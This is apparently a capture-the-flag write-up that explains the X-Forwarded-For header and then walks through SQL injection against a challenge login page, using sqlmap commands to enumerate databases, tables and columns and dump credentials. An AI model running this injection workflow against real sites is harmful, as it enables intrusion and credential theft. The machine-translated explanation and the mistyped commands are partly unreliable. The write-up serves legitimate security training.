X-FORWARDED-FOR
First, X-Forwarded-For HTTP is an extension header. HTTP / 1.1 (RFC 2616) protocol does not define it, which is the beginning of the Squid cache agent introduced by the software used to represent the HTTP requester real IP. Today it has become the de facto standard, widely used in major HTTP proxy, load balancing, forwarding services, and written RFC 7239 (Forwarded HTTP Extension) standard being.
XFF content from "comma + space" composed of multiple parts separated, the beginning is the end furthest away from the service device IP, then IP devices per agent.
If a request arrives before the HTTP server, through three agents Proxy1, Proxy2, Proxy3, IP respectively IP1, IP2, IP3, users real IP is IP0, then in accordance with XFF standard, the server will eventually receive the following message:
X-Forwarded-For: IP0, IP1, IP2
Proxy3 Direct Connect server, it will give XFF additional IP2, indicating that it is helping Proxy2 forwarding the request. The list does not IP3, IP3 can be obtained by Remote Address field on the server. We know that HTTP connection-based TCP connections, HTTP protocol does not have the concept of IP, Remote Address from the TCP connection, and indicates the establishment of TCP IP device connected to the server, in this case is IP3.
Remote Address can not be forged, since the establishment of the HTTP request TCP connection requires three-way handshake, if forged source IP, TCP connection can not be established, there will be no more behind. Remote Address acquisition of different languages in a different way, for example, is php $_SERVER["REMOTE_ADDR"]。
Enter the site found that only a login screen, enter any user name and password to log an error pop-up visit ip.
Ethereal with burp did not find X-Forwarded-For, due to the subject mentioned X-Forwarded-For, add the test
回显显示ip地址，故猜测后端是读取了x-forwarded-for的数据，
将x-forwarded-for的值改为*并保存为12.txt文档放在sqlmap文件目录下
使用sqlmap注入爆破
爆数据库
python sqlmap.py -r 12.txt --dbs --batch
爆表名
python ssqlmap.py -r12.txt -D 数据库名 --tables --batch
爆列名
python ssqlmap.py -r12.txt -D 数据库名 -T 表名 --columns --batch
报数据
python ssqlmap.py -r12.txt -D 数据库名 -T 表名 -C dump 数据，数据，数据 --batch
获取账号密码成功登入得到key
*注：爆表名的时候在--table后必须加s 不加会报错
爆数据的时候在dump后把数据用单引号会报错
*
参考sqlmap命令详细：https://www.cnblogs.com/ichunqiu/p/5805108.html